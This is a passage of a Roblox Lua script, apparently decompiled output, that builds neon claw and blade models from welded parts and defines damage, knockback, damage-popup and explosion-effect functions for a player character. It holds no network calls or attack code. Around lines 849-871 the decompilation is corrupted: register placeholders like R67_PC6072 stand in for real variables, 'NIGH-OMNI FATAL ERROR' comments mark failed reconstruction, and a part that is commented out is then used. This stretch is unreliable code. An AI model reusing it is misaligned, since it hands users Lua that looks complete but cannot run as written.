  812. ClawWeld = CreateWeld(m, MotorThumb, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607737899, 0.0110911727, 0.0515184402, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
  813. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
  814. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  815. ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723732, 0.990283549, 1.41561031e-06, -0.13906303, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.13906303, 8.94069672e-08, 0.990283489))
  816. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  817. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  818. ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025633, 0.0210601687, -0.0396541655, 0.908135235, 2.08616257e-06, -0.418677092, -1.47148967e-06, 1.00000012, 1.75833702e-06, 0.418677121, -9.23871994e-07, 0.908135176))
  819. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  820. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  821. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129690766, -0.393394113, 0.191975117, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
  822. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
  823. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775405, -0.706632137, 0.168079853, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
  824. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  825. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299531221, -0.294105291, -0.00194394588, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097559, -0.258097589, -2.08616257e-07, 0.966118932))
  826. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
  827. PartWeld = CreateWeld(m, MotorThumb, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598301, 0.0969114304, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097559, 0.258097589, 2.08616257e-07, -0.966118932))
  828. MotorThumbTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumbTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  829. MotorThumbTwoWeld = CreateWeld(m, Handle, MotorThumbTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.444597721, 0.423756033, -0.897562623, -0.0682120249, -0.995336354, -0.068211019, 0.707106709, -7.08211871e-07, -0.707106829, 0.703809083, -0.0964656621, 0.703809023))
  830. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  831. ClawWeld = CreateWeld(m, MotorThumbTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607738018, 0.0110911727, 0.0515185595, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
  832. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
  833. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  834. ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723612, 0.990283549, 1.42306089e-06, -0.139062777, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.139062807, 1.1920929e-07, 0.990283608))
  835. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  836. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  837. ShardWeld = CreateWeld(m, MotorThumbTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.222025394, 0.0210601091, -0.0396541059, 0.908135235, 2.08616257e-06, -0.418677092, -1.72480941e-06, 1, 1.16229057e-06, 0.418677121, -3.57627869e-07, 0.908135176))
  838. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  839. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  840. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.012969017, -0.393394232, 0.191974878, -7.11530447e-07, 1, 2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
  841. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.200000003))
  842. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0129775107, -0.706632137, 0.168079972, -7.11530447e-07, 1, 2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
  843. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  844. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00299596786, -0.29410553, -0.00194442272, 7.11530447e-07, -1, -2.98023224e-08, 0.966118932, 6.85453415e-07, 0.258097589, -0.258097559, -1.78813934e-07, 0.966118813))
  845. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.390000015))
  846. PartWeld = CreateWeld(m, MotorThumbTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012973249, -0.311598063, 0.0969111919, 7.11530447e-07, -1, -2.98023224e-08, -0.966118932, -6.85453415e-07, -0.258097589, 0.258097559, 1.78813934e-07, -0.966118813))
  847. MagniHit = CreatePart(m, Enum.Material.Neon, 0, 1, "Really black", "MagniHit", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  848. MagniHitWeld = CreateWeld(m, Character.HumanoidRootPart, MagniHit, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-4.01003361, -0.230025291, 0.070048213, 0, 0, -1, 0, 1, 0, 1, 0, 0))
  849. local CBlade = {}
  850. local CBladeWelds = {}
  851. for _,c in pairs(m:children()) do
  852. if c.className == "Part" then
  853. table.insert(CBlade, R67_PC6072)
  854. end
  855. end
  856. for _,c in pairs(m:children()) do
  857. if c.className == "Weld" then
  858. table.insert(CBladeWelds, R67_PC6072)
  859. print(R66_PC6093)
  860. end
  861. end
  862. -- NIGH-OMNI FATAL ERROR at PC6105: Re-wrote register: R67 in 'AssignReg'
  863.  
  864. -- NIGH-OMNI FATAL ERROR at PC6106: Re-wrote register: R67 in 'AssignReg'
  865.  
  866. --Hit = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", R66_PC6093, R67_PC6072(5, 0.200000003, 5))
  867. -- NIGH-OMNI FATAL ERROR at PC6120: Re-wrote register: R66 in 'AssignReg'
  868.  
  869. -- NIGH-OMNI FATAL ERROR at PC6134: Re-wrote register: R66 in 'AssignReg'
  870.  
  871. HitWeld = CreateWeld(demon, Character.HumanoidRootPart, Hit, CFrame.new(0, R66_PC6093, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(R66_PC6093, -3.50004387, 0.0299530029, 0, 1, 0, 0, 0, -1, -1, 0, 0))
  872. CreateMesh("SpecialMesh", Hit, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(3, 4, 3))
  873. FakeMotor = CreatePart(demon, Enum.Material.Neon, 0, 1, "Really black", "FakeMotor", Vector3.new(2.01999998, 0.2016, 2.36000013))
  874. FakeMotorWeld = CreateWeld(demon, Hit, FakeMotor, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0199999809, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  875. Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
  876. PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -5.06998634, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
  877. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(2.5, 10, 2.5))
  878. Part = CreatePart(demon, Enum.Material.Neon, 0, 0, "Really black", "Part", Vector3.new(2.25000024, 0.200000003, 2.55000019))
  879. PartWeld = CreateWeld(demon, FakeMotor, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, -7.1599884, 0, -1, 0, 0, 0, -1, 0, 0, 0, 1))
  880. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1033714", Vector3.new(0, 0, 0), Vector3.new(1, 10, 1))
  881. TornadoHat = CreatePart(demon, Enum.Material.Neon, 0.20000000298023, 0.5, "Really black", "TornadoHat", Vector3.new(3, 0.400000006, 3))
  882. TornadoHatWeld = CreateWeld(demon, FakeMotor, TornadoHat, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00997924805, -1.65001106, -0.0699994564, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  883. CreateMesh("SpecialMesh", TornadoHat, Enum.MeshType.FileMesh, "http://www.roblox.com/asset/?id=1051557", Vector3.new(0, 0, 0), Vector3.new(5, 5, 5))
  884. local DBlade = {}
  885. local DBladeWelds = {}
  886. for _,c in pairs(demon:children()) do
  887. if c.className == "Part" then
  888. table.insert(DBlade, c)
  889. end
  890. end
  891. for _,c in pairs(demon:children()) do
  892. if c.className == "Weld" then
  893. table.insert(DBladeWelds, c)
  894. print(c)
  895. end
  896. end
  897. demon.Parent = nil
  898.  
  899. paly = game.Players.LocalPlayer
  900. char = paly.Character
  901. torso = char.Torso
  902. neck = char.Torso.Neck
  903. hum = char.Humanoid
  904. Player = game:GetService("Players").LocalPlayer
  905. local mouse = Player:GetMouse()
  906. Character = Player.Character
  907. tors = Character.Torso
  908. lleg = Character["Left Leg"]
  909. root = Character.HumanoidRootPart
  910. hed = Character.Head
  911. rleg = Character["Right Leg"]
  912. rarm = Character["Right Arm"]
  913. larm = Character["Left Arm"]
  914. local Effects = {}
  915. attack = false
  916. vt = Vector3.new
  917. bc = BrickColor.new
  918. br = BrickColor.random
  919. it = Instance.new
  920. cf = CFrame.new
  921. euler = CFrame.fromEulerAnglesXYZ
  922. angles = CFrame.Angles
  923. matr = math.random
  924. local basiccooldown = math.huge
  925. local ultcooldown = math.huge
  926. local secondcooldown = math.huge
  927. local thirdcooldown = math.huge
  928.  
  929. local boll = Instance.new("Part",game.Lighting)
  930. boll.Transparency = 0.5
  931. boll.Material = "Neon"
  932. boll.BrickColor = tors.BrickColor
  933. boll.Anchored = true
  934. boll.Size = vt(1,1,1)
  935. boll.Shape = "Ball"
  936. boll.CanCollide = false
  937.  
  938. local shur = Instance.new("Part",game.Lighting)
  939. shur.Transparency = 0
  940. shur.Material = "Neon"
  941. shur.BrickColor = tors.BrickColor
  942. shur.Anchored = true
  943. shur.Size = vt(5,0.2,5)
  944. shur.CanCollide = false
  945. local Meshshur = Instance.new("CylinderMesh",shur)
  946.  
  947.  
  948. local boll = Instance.new("Part",game.Lighting)
  949. boll.Transparency = 0.5
  950. boll.Material = "Neon"
  951. boll.BrickColor = bc("Bright red")
  952. boll.Anchored = true
  953. boll.Size = vt(1,1,1)
  954. boll.Shape = "Ball"
  955. boll.CanCollide = false
  956.  
  957. local shur = Instance.new("Part",game.Lighting)
  958. shur.Transparency = 0
  959. shur.Material = "Neon"
  960. shur.BrickColor = bc("Bright red")
  961. shur.Anchored = true
  962. shur.Size = vt(5,0.2,5)
  963. shur.CanCollide = false
  964. local Meshshur = Instance.new("CylinderMesh",shur)
  965.  
  966. Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
  967. if hit.Parent==nil then
  968. return
  969. end
  970. h=hit.Parent:FindFirstChild("Humanoid")
  971. for _,v in pairs(hit.Parent:children()) do
  972. if v:IsA("Humanoid") then
  973. h=v
  974. end
  975. end
  976. if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
  977. h=hit.Parent.Parent:FindFirstChild("Humanoid")
  978. end
  979. if hit.Parent.className=="Hat" then
  980. hit=hit.Parent.Parent:findFirstChild("Head")
  981. end
  982. if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
  983. if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
  984. --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
  985. return
  986. end]]
  987. -- hs(hit,1.2)
  988. c=Instance.new("ObjectValue")
  989. c.Name="creator"
  990. c.Value=game:service("Players").LocalPlayer
  991. c.Parent=h
  992. game:GetService("Debris"):AddItem(c,.5)
  993. Damage=math.random(minim,maxim)
  994. -- h:TakeDamage(Damage)
  995. blocked=false
  996. block=hit.Parent:findFirstChild("Block")
  997. if block~=nil then
  998. print(block.className)
  999. if block.className=="NumberValue" then
  1000. if block.Value>0 then
  1001. blocked=true
  1002. if decreaseblock==nil then
  1003. block.Value=block.Value-1
  1004. end
  1005. end
  1006. end
  1007. if block.className=="IntValue" then
  1008. if block.Value>0 then
  1009. blocked=true
  1010. if decreaseblock~=nil then
  1011. block.Value=block.Value-1
  1012. end
  1013. end
  1014. end
  1015. end
  1016. if blocked==false then
  1017. -- h:TakeDamage(Damage)
  1018. h.Health=h.Health-Damage
  1019. showDamage(hit.Parent,Damage,.5,TorsoColor)
  1020. else
  1021. h.Health=h.Health-(Damage/2)
  1022. showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
  1023. end
  1024. if Type=="Knockdown" then
  1025. hum=hit.Parent.Humanoid
  1026. hum.PlatformStand=true
  1027. coroutine.resume(coroutine.create(function(HHumanoid)
  1028. swait(1)
  1029. HHumanoid.PlatformStand=false
  1030. end),hum)
  1031. local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
  1032. --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
  1033. local bodvol=Instance.new("BodyVelocity")
  1034. bodvol.velocity=angle*knockback
  1035. bodvol.P=5000
  1036. bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
  1037. bodvol.Parent=hit
  1038. rl=Instance.new("BodyAngularVelocity")
  1039. rl.P=3000
  1040. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  1041. rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
  1042. rl.Parent=hit
  1043. game:GetService("Debris"):AddItem(bodvol,.5)
  1044. game:GetService("Debris"):AddItem(rl,.5)
  1045. elseif Type=="Normal" then
  1046. vp=Instance.new("BodyVelocity")
  1047. vp.P=500
  1048. vp.maxForce=Vector3.new(math.huge,0,math.huge)
  1049. -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback
  1050. if KnockbackType==1 then
  1051. vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
  1052. elseif KnockbackType==2 then
  1053. vp.velocity=Property.CFrame.lookVector*knockback
  1054. end
  1055. if knockback>0 then
  1056. vp.Parent=hit.Parent.Torso
  1057. end
  1058. game:GetService("Debris"):AddItem(vp,.5)
  1059. elseif Type=="Up" then
  1060. local bodyVelocity=Instance.new("BodyVelocity")
  1061. bodyVelocity.velocity=vt(0,10,0)
  1062. bodyVelocity.P=1000
  1063. bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
  1064. bodyVelocity.Parent=hit
  1065. game:GetService("Debris"):AddItem(bodyVelocity,1)
  1066. rl=Instance.new("BodyAngularVelocity")
  1067. rl.P=3000
  1068. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  1069. rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  1070. rl.Parent=hit
  1071. game:GetService("Debris"):AddItem(rl,.5)
  1072. elseif Type=="Snare" then
  1073. bp=Instance.new("BodyPosition")
  1074. bp.P=2000
  1075. bp.D=100
  1076. bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  1077. bp.position=hit.Parent.Torso.Position
  1078. bp.Parent=hit.Parent.Torso
  1079. game:GetService("Debris"):AddItem(bp,1)
  1080. elseif Type=="Target" then
  1081. if Targetting==false then
  1082. ZTarget=hit.Parent.Torso
  1083. coroutine.resume(coroutine.create(function(Part)
  1084. swait(5)
  1085. end),ZTarget)
  1086. TargHum=ZTarget.Parent:findFirstChild("Humanoid")
  1087. targetgui=Instance.new("BillboardGui")
  1088. targetgui.Parent=ZTarget
  1089. targetgui.Size=UDim2.new(10,100,10,100)
  1090. targ=Instance.new("ImageLabel")
  1091. targ.Parent=targetgui
  1092. targ.BackgroundTransparency=1
  1093. targ.Image="rbxassetid://4834067"
  1094. targ.Size=UDim2.new(1,0,1,0)
  1095. cam.CameraType="Scriptable"
  1096. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1097. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  1098. workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1099. Targetting=true
  1100. RocketTarget=ZTarget
  1101. for i=1,Property do
  1102. --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
  1103. if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
  1104. swait()
  1105. end
  1106. --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
  1107. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  1108. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  1109. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
  1110. end
  1111. Targetting=false
  1112. RocketTarget=nil
  1113. targetgui.Parent=nil
  1114. cam.CameraType="Custom"
  1115. end
  1116. end
  1117. debounce=Instance.new("BoolValue")
  1118. debounce.Name="DebounceHit"
  1119. debounce.Parent=hit.Parent
  1120. debounce.Value=true
  1121. game:GetService("Debris"):AddItem(debounce,Delay)
  1122. c=Instance.new("ObjectValue")
  1123. c.Name="creator"
  1124. c.Value=Player
  1125. c.Parent=h
  1126. game:GetService("Debris"):AddItem(c,.5)
  1127. CRIT=false
  1128. hitDeb=true
  1129. AttackPos=6
  1130. end
  1131. end
  1132.  
  1133. showDamage=function(Char,Dealt,du,Color)
  1134. m=Instance.new("Model")
  1135. m.Name=tostring(Dealt)
  1136. h=Instance.new("Humanoid")
  1137. h.Health=0
  1138. h.MaxHealth=0
  1139. h.Parent=m
  1140. c=Instance.new("Part")
  1141. c.Transparency=0
  1142. c.Material = "Neon"
  1143. c.BrickColor=bc("New Yeller")
  1144. c.Name="Head"
  1145. c.TopSurface=0
  1146. c.BottomSurface=0
  1147. local tick = Instance.new("Sound",c)
  1148. tick.SoundId = "rbxassetid://12221976"
  1149. tick.Volume = 5
  1150. tick.Pitch = 4
  1151. tick:Play()
  1152. c.formFactor="Plate"
  1153. c.Size=Vector3.new(1,.4,1)
  1154. ms=Instance.new("CylinderMesh")
  1155. ms.Scale=Vector3.new(.8,.8,.8)
  1156. if CRIT==true then
  1157. ms.Scale=Vector3.new(1,1.25,1)
  1158. end
  1159. ms.Parent=c
  1160. c.Reflectance=0
  1161. Instance.new("BodyGyro").Parent=c
  1162. c.Parent=m
  1163. if Char:findFirstChild("Head")~=nil then
  1164. c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
  1165. elseif Char.Parent:findFirstChild("Head")~=nil then
  1166. c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
  1167. end
  1168. f=Instance.new("BodyPosition")
  1169. f.P=2000
  1170. f.D=100
  1171. f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  1172. f.position=c.Position+Vector3.new(0,3,0)
  1173. f.Parent=c
  1174. game:GetService("Debris"):AddItem(m,.5+du)
  1175. c.CanCollide=false
  1176. m.Parent=workspace
  1177. c.CanCollide=false
  1178. p:Destroy()
  1179. end
  1180.  
  1181. function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
  1182. for _, c in pairs(workspace:children()) do
  1183. local hum = c:findFirstChild("Humanoid")
  1184. if hum ~= nil then
  1185. local head = c:findFirstChild("Torso")
  1186. if head ~= nil then
  1187. local targ = head.Position - Part.Position
  1188. local mag = targ.magnitude
  1189. if mag <= magni and c.Name ~= Player.Name then
  1190. Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
  1191. end
  1192. end
  1193. end
  1194. end
  1195. end
  1196.  
  1197. function Explode(rad,par)
  1198. local expart = Instance.new("Part",script.Parent)
  1199. local expart2 = Instance.new("Part",script.Parent)
  1200. local partMesh = Instance.new("SpecialMesh",expart)
  1201. partMesh.MeshType = "Sphere"
  1202. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1203. partMesh2.MeshType = "Sphere"
  1204. local expld = Instance.new("Explosion", script.Parent)
  1205. local plode = Instance.new("Sound",expart)
  1206. plode.SoundId = "rbxassetid://165970126"
  1207. plode.Volume = 1
  1208. plode.Pitch = 1
  1209. plode.Looped = false
  1210. plode:Play()
  1211. expld.BlastRadius = rad
  1212. expld.Position = par.Position
  1213. partMesh.Scale = vt(rad,rad,rad)
  1214. expart.Size = vt(1,1,1)*1.5
  1215. expart.Transparency = 0
  1216. expart.Anchored = true
  1217. expart.Material = "Neon"
  1218. expart.BrickColor = bc("White")
  1219. expart.CFrame = par.CFrame
  1220. partMesh2.Scale = vt(rad,rad,rad)
  1221. expart2.Size = vt(1.15,1.15,1.15)*1.5
  1222. expart2.Transparency = 0.5
  1223. expart2.Anchored = true
  1224. expart2.Material = "Neon"
  1225. expart2.BrickColor = bc("New Yeller")
  1226. expart2.CFrame = par.CFrame
  1227. local value = 1*rad/6.5
  1228. par:Destroy()
  1229. for i = 0, 100 do
  1230. partMesh.Scale = partMesh.Scale + vt(value,value,value)
  1231. expart.CFrame = expart.CFrame
  1232. partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
  1233. expart2.CFrame = expart.CFrame
  1234. value = value - 0.035*rad/6.5
  1235. if value < 1 then
  1236. value = 0.25
  1237. expart.Transparency = expart.Transparency + 0.025
  1238. expart2.Transparency = expart2.Transparency + 0.025
  1239. end
  1240. wait()
  1241. end
  1242. plode.Parent = nil
  1243. expart.Parent = nil
  1244. expart2.Parent = nil
  1245. expld.Parent = nil
  1246. end
  1247.  
  1248. function ExplodeMass(rad,par)
  1249. local expart = Instance.new("Part",script.Parent)
  1250. local expart2 = Instance.new("Part",script.Parent)
  1251. local partMesh = Instance.new("SpecialMesh",expart)
  1252. partMesh.MeshType = "Sphere"
  1253. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1254. partMesh2.MeshType = "Sphere"
  1255. local expld = Instance.new("Explosion", script.Parent)
  1256. local plode = Instance.new("Sound",workspace)
  1257. plode.SoundId = "rbxassetid://579687077"
  1258. plode.Volume = 1
  1259. plode.Pitch = 0.85
  1260. plode.Looped = false
  1261. plode:Play()
  1262. local plodez = Instance.new("Sound",workspace)
  1263. plodez.SoundId = "rbxassetid://288641686"
  1264. plodez.Volume = 1
  1265. plodez.Pitch = 0.75
  1266. plodez.Looped = false
  1267. plodez:Play()
  1268. local plodeza = Instance.new("Sound",workspace)
  1269. plodeza.SoundId = "rbxassetid://197161452"
  1270. plodeza.Volume = 0.85
  1271. plodeza.Pitch = 0.65
  1272. plodeza.Looped = false
  1273. plodeza:Play()
  1274. local plodezar = Instance.new("Sound",workspace)
  1275. plodezar.SoundId = "rbxassetid://197161452"
  1276. plodezar.Volume = 0.85
  1277. plodezar.Pitch = 0.25
  1278. plodezar.Looped = false
  1279. plodezar:Play()
  1280. expld.BlastRadius = rad
  1281. expld.Position = par.Position
  1282. wait(0.5)
  1283. par:Destroy()
  1284. plode.Parent = nil
  1285. expart.Parent = nil
  1286. expart2.Parent = nil
  1287. expld.Parent = nil
  1288. end
  1289. function ExplodeMassen(rad,par)
  1290. local expart = Instance.new("Part",script.Parent)
  1291. local expart2 = Instance.new("Part",script.Parent)
  1292. local partMesh = Instance.new("SpecialMesh",expart)
  1293. partMesh.MeshType = "Sphere"
  1294. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1295. partMesh2.MeshType = "Sphere"
  1296. local expld = Instance.new("Explosion", script.Parent)
  1297. local plode = Instance.new("Sound",workspace)
  1298. plode.SoundId = "rbxassetid://579687077"
  1299. plode.Volume = 1
  1300. plode.Pitch = 0.85
  1301. plode.Looped = false
  1302. plode:Play()
  1303. local plodez = Instance.new("Sound",workspace)
  1304. plodez.SoundId = "rbxassetid://288641686"
  1305. plodez.Volume = 1
  1306. plodez.Pitch = 0.75
  1307. plodez.Looped = false
  1308. plodez:Play()
  1309. local plodeza = Instance.new("Sound",workspace)
  1310. plodeza.SoundId = "rbxassetid://197161452"
  1311. plodeza.Volume = 0.85
  1312. plodeza.Pitch = 0.65
  1313. plodeza.Looped = false
  1314. plodeza:Play()
  1315. local plodezar = Instance.new("Sound",workspace)
  1316. plodezar.SoundId = "rbxassetid://197161452"
  1317. plodezar.Volume = 0.85
  1318. plodezar.Pitch = 0.25
  1319. plodezar.Looped = false
  1320. plodezar:Play()
  1321. expld.BlastRadius = rad
  1322. expld.Position = par.Position
  1323. partMesh.Scale = vt(rad,rad,rad)
  1324. expart.Size = vt(1,1,1)*1.5
  1325. expart.Transparency = 0
  1326. expart.Anchored = true
  1327. expart.Material = "Neon"
  1328. expart.BrickColor = bc("White")
  1329. expart.CFrame = par.CFrame
  1330. partMesh2.Scale = vt(rad,rad,rad)
  1331. expart2.Size = vt(1.15,1.15,1.15)*1.5
  1332. expart2.Transparency = 0.5
  1333. expart2.Anchored = true
  1334. expart2.Material = "Neon"
  1335. expart2.BrickColor = tors.BrickColor
  1336. expart2.CFrame = par.CFrame
  1337. local value = 1*rad/10
  1338. par:Destroy()
  1339. for i = 0, 300 do
  1340. partMesh.Scale = partMesh.Scale + vt(value,value,value)
  1341. expart.CFrame = expart.CFrame
  1342. partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
  1343. expart2.CFrame = expart.CFrame
  1344. value = value - 0.0175*rad/10
  1345. if value <= 0 then
